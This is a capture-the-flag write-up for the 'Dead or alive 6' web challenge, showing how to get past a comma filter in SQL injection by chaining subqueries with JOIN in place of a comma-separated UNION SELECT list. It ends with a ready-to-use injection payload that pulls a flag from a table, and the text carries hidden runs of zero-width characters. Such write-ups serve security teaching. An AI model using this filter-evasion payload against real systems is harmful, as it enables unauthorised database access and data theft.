Dead or alive 6

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: commaless_union_injection, join_comma_bypass

Summary

Task: SQL injection with comma character filtered. Solution: Use JOIN technique to bypass comma filter - each subquery returns one column and JOIN combines them without commas.

Dead or alive 6 — Web Kids 2.0

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass6/

Comma character is filtered, preventing standard UNION SELECT with multiple columns.

Analysis

Standard UNION SELECT requires commas to enumerate columns:

 sql read-only • copy allowed Copy
UNION SELECT 1, 2, 3, flag FROM secret_table

When the comma is filtered, an alternative method is needed to create multiple columns.

Solution

JOIN technique for comma bypass

Each subquery in parentheses returns one column. JOIN combines them without using commas: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 sql read-only • copy allowed Copy
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

This is equivalent to UNION SELECT 1, 2, 3, but without commas.

Payload structure

 sql read-only • copy allowed Copy
UNION SELECT * FROM 
    (SELECT 1)a 
    JOIN (SELECT 2)b 
    JOIN (SELECT flag FROM secret_table)c

Where:

• (SELECT 1)a — subquery with alias a, returns a column with value 1
• JOIN — combines results without commas
• Number of JOINs must match the number of columns in the original query minus 1

Final payload

 sql read-only • copy allowed Copy
' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT flag FROM secret_table)c--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍